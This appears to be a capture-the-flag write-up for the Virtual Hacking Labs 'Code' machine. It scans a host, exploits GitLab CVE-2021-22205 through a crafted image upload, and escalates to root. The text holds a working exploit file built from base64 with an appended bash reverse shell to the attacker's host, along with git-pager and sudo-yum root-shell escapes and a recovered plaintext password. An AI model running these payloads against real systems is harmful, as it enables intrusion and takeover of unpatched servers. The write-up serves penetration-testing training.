xsspresso
xsspresso
WriteupsVHL — Code
WebMediumLinux

VHL — Code

Self-hosted GitLab CE on CentOS. Exploited CVE-2021-22205 unauthenticated RCE via image upload to the GitLab instance.

February 14, 2025Virtual Hacking Labs
#GitLab#CVE-2021-22205#RCE#Image Upload

nmap

sh
nmap -sC -sV -T4 -A -Pn -p- --open 10.11.1.148
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-14 20:43 EST
Stats: 0:01:36 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 100.00% done; ETC: 20:45 (0:00:00 remaining)
Nmap scan report for 10.11.1.148
Host is up (0.022s latency).
Not shown: 65530 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 1d:b9:1e:18:f8:f1:29:9e:5b:de:1b:6c:71:66:f9:7c (RSA)
|   256 ea:93:b6:a7:d4:55:65:e7:10:cc:0a:e6:3e:6a:1e:9f (ECDSA)
|_  256 00:dd:b7:eb:9c:54:e5:2b:13:6a:df:16:dd:11:e4:1e (ED25519)
80/tcp   open  http    nginx
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.11.1.148/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
| http-robots.txt: 54 disallowed entries (15 shown)
| / /autocomplete/users /autocomplete/projects /search 
| /admin /profile /dashboard /users /help /s/ /-/profile /-/ide/ 
|_/*/new /*/edit /*/raw
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /-/grafana/login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F-%2Fgrafana%2F; Path=/-/grafana; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Sat, 15 Feb 2025 01:43:58 GMT
|     Content-Length: 39
|     href="/-/grafana/login">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Expires: -1
|     Location: /-/grafana/login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F-%2Fgrafana%2F; Path=/-/grafana; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Sat, 15 Feb 2025 01:44:03 GMT
|_    Content-Length: 0
8060/tcp open  http    nginx 1.18.0
|_http-title: 404 Not Found
|_http-server-header: nginx/1.18.0
9094/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=2/14%Time=67AFF15B%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(GetRequest,19F,"HTTP/1\.0\x20302\x20Found\r\nCache-Con
SF:trol:\x20no-cache\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nEx
SF:pires:\x20-1\r\nLocation:\x20/-/grafana/login\r\nPragma:\x20no-cache\r\
SF:nSet-Cookie:\x20redirect_to=%2F-%2Fgrafana%2F;\x20Path=/-/grafana;\x20H
SF:ttpOnly;\x20SameSite=Lax\r\nX-Content-Type-Options:\x20nosniff\r\nX-Fra
SF:me-Options:\x20deny\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x
SF:20Sat,\x2015\x20Feb\x202025\x2001:43:58\x20GMT\r\nContent-Length:\x2039
SF:\r\n\r\n<a\x20href=\"/-/grafana/login\">Found</a>\.\n\n")%r(Help,67,"HT
SF:TP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20cha
SF:rset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTT
SF:POptions,14F,"HTTP/1\.0\x20302\x20Found\r\nCache-Control:\x20no-cache\r
SF:\nExpires:\x20-1\r\nLocation:\x20/-/grafana/login\r\nPragma:\x20no-cach
SF:e\r\nSet-Cookie:\x20redirect_to=%2F-%2Fgrafana%2F;\x20Path=/-/grafana;\
SF:x20HttpOnly;\x20SameSite=Lax\r\nX-Content-Type-Options:\x20nosniff\r\nX
SF:-Frame-Options:\x20deny\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDat
SF:e:\x20Sat,\x2015\x20Feb\x202025\x2001:44:03\x20GMT\r\nContent-Length:\x
SF:200\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nC
SF:ontent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\
SF:n\r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Ba
SF:d\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnec
SF:tion:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x2
SF:0charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r
SF:(TLSSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\
SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20B
SF:ad\x20Request")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCo
SF:ntent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n
SF:\r\n400\x20Bad\x20Request");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/14%OT=22%CT=1%CU=34426%PV=Y%DS=2%DC=I%G=Y%TM=67AF
OS:F1BB%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%II=I%TS=A)SEQ(S
OS:P=105%GCD=2%ISR=10B%TI=Z%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=10B%TI=Z%TS=A)SE
OS:Q(SP=106%GCD=1%ISR=10B%TI=Z%II=I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%
OS:O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2
OS:=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNS
OS:NW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)
OS:T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T7(R=N)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
 
Network Distance: 2 hops
 
TRACEROUTE
HOP RTT      ADDRESS
1   21.67 ms 10.11.1.148
 

80

sh
80/tcp   open  http    nginx
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.11.1.148/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
| http-robots.txt: 54 disallowed entries (15 shown)
| / /autocomplete/users /autocomplete/projects /search 
| /admin /profile /dashboard /users /help /s/ /-/profile /-/ide/ 
|_/*/new /*/edit /*/raw

/help

gitlab version

sh
msf6 auxiliary(scanner/http/gitlab_version) > run
 
[+] Gitlab version range for 10.11.1.148:80: [#<Rex::Version "13.10.3.pre.ee">, #<Rex::Version "13.10.5.pre.ee">]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

GitLab 13.10.2 RCE (Unauthenticated)

metasploit

  • https://www.exploit-db.com/exploits/50532
sh
msf6 auxiliary(scanner/http/gitlab_version) > use exploit/multi/http/gitlab_exif_rce
msf6 exploit(multi/http/gitlab_exif_rce) > set rhosts 10.11.1.148
msf6 exploit(multi/http/gitlab_exif_rce) > set lhost 172.16.1.1
msf6 exploit(multi/http/gitlab_exif_rce) > run
sh
msf6 exploit(multi/http/gitlab_exif_rce) > run
 
[*] Started reverse TCP handler on 172.16.1.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Uploading ruCyDZqOs7x.jpg to /cXQpvhvCSBg
[+] The target is vulnerable. The error response indicates ExifTool was executed.
[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
[*] Using URL: http://172.16.1.1/jgFrmtoTy57gb
[*] Uploading UlGZKnh40J.jpg to /paIpvk
[*] Client 10.11.1.148 (Wget/1.14 (linux-gnu)) requested /jgFrmtoTy57gb
[*] Sending payload to 10.11.1.148 (Wget/1.14 (linux-gnu))
[*] Sending stage (1017704 bytes) to 10.11.1.148
[+] Exploit successfully executed.
[*] Command Stager progress - 100.00% done (111/111 bytes)
[*] Meterpreter session 1 opened (172.16.1.1:4444 -> 10.11.1.148:35004) at 2025-02-14 21:20:36 -0500
[*] Server stopped.
 
meterpreter > getuid
Server username: git

w/o metasploit

  • https://www.exploit-db.com/exploits/50532
sh
echo -e "QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz//96/mSAhyJFO6wwHH9LaiOhr5kQPLHEC7knTbpW9osMiP0ZPUk0AAABeREpWVUlORk8AAAAKAAgACBgAZAAWAElOQ0wAAAAPc2hhcmVkX2Fubm8uaWZmAEJHNDQAAAARAEoBAgAIAAiK5uGxN9l/KokAQkc0NAAAAAQBD/mfQkc0NAAAAAICCkZPUk0AAAMHREpWSUFOVGEAAAFQKG1ldGFkYXRhCgkoQ29weXJpZ2h0ICJcCiIgLiBxeHs=" | base64 -d > lol.jpg
sh
echo -n 'TF=$(mktemp -u);bash -i >& /dev/tcp/172.16.1.1/80 0>&1' >> lol.jpg
sh
echo -n "fSAuIFwKIiBiICIpICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCg==" | base64 -d >> lol.jpg
sh
curl -v -F 'file=@lol.jpg' http://10.11.1.148/$(openssl rand -hex 8)
sh
rlwrap nc -lnvp 80 
listening on [any] 80 ...
connect to [172.16.1.1] from (UNKNOWN) [10.11.1.148] 53354
bash: no job control in this shell
bash-4.2$ whoami
whoami
git
sh
python3 -c 'import pty; pty.spawn("/bin/bash")'

priv esc

sh
bash-4.2$ id
id
uid=996(git) gid=993(git) groups=993(git)
bash-4.2$ uname -a
uname -a
Linux localhost.localdomain 5.19.7-1.el7.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Sep 3 13:43:36 EDT 2022 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$ cat /etc/os-release
cat /etc/os-release
NAME="CentOS Linux"
VERSION="7 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="7"
PRETTY_NAME="CentOS Linux 7 (Core)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:7"
HOME_URL="https://www.centos.org/"
BUG_REPORT_URL="https://bugs.centos.org/"
 
CENTOS_MANTISBT_PROJECT="CentOS-7"
CENTOS_MANTISBT_PROJECT_VERSION="7"
REDHAT_SUPPORT_PRODUCT="centos"
REDHAT_SUPPORT_PRODUCT_VERSION="7"

SUID (git)

  • https://gtfobins.github.io/gtfobins/git/#limited-suid
sh
╔══════════╣ SUID - Check easy privesc, exploits and write perms
 https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
strace Not Found
 
-rwsr-xr-x 113 root root 1.5M May 28  2020 /usr/bin/git
sh
PAGER='/bin/bash -c "exec bash 0<&1"' /usr/bin/git -p help

sh
LFILE=/etc/gitlab/gitlab.rb
git diff /dev/null $LFILE
sh
+  grafana['enable'] = true
+  grafana['log_directory'] = '/var/log/gitlab/grafana'
+  grafana['home'] = '/var/opt/gitlab/grafana'
+  grafana['admin_password'] = 'C0d3KODe01!'
+# grafana['allow_user_sign_up'] = false
+# grafana['basic_auth_enabled'] = false
+  grafana['disable_login_form'] = false
+# grafana['gitlab_application_id'] = 'GITLAB_APPLICATION_ID'
+# grafana['gitlab_secret'] = 'GITLAB_SECRET'
+  grafana['env_directory'] = '/opt/gitlab/etc/grafana/env'
+# grafana['allowed_groups'] = []
+# grafana['gitlab_auth_sign_up'] = true
+# grafana['env'] = {
+#   'SSL_CERT_DIR' => "#{node['package']['install-dir']}/embedded/ssl/certs/"

creds

C0d3KODe01!

ssh as code

sh
ssh code@10.11.1.148
The authenticity of host '10.11.1.148 (10.11.1.148)' can't be established.
ED25519 key fingerprint is SHA256:+LewMcBLit/Aa+jsReEHqp1SZqGrTC80yu41cd0oO/c.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.11.1.148' (ED25519) to the list of known hosts.
code@10.11.1.148's password: 
Last login: Fri Sep  9 04:47:49 2022
[code@localhost ~]$ whoami
code

sudo (yum)

sh
[code@localhost ~]$ sudo -l
 
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
 
    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.
 
[sudo] password for code: 
Matching Defaults entries for code on localhost:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR
    LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
    LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
    XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
 
User code may run the following commands on localhost:
    (ALL) PASSWD: /usr/bin/yum
  • https://gtfobins.github.io/gtfobins/yum/#sudo
sh
[code@localhost ~]$ cat >$TF/y.conf<<EOF
> [main]
> enabled=1
> EOF
[code@localhost ~]$ cat >$TF/y.py<<EOF
> import os
> import yum
> from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
> requires_api_version='2.1'
> def init_hook(conduit):
>   os.execl('/bin/sh','/bin/sh')
> EOF
[code@localhost ~]$ sudo yum -c $TF/x --enableplugin=y
[sudo] password for code: 
Loaded plugins: y
No plugin match for: y
sh-4.2# whoami
root
sh-4.2# cat /root/key.txt
h80ndlgasgtf9mfe5tpo
sh-4.2# date
Sat Feb 15 01:04:04 EST 2025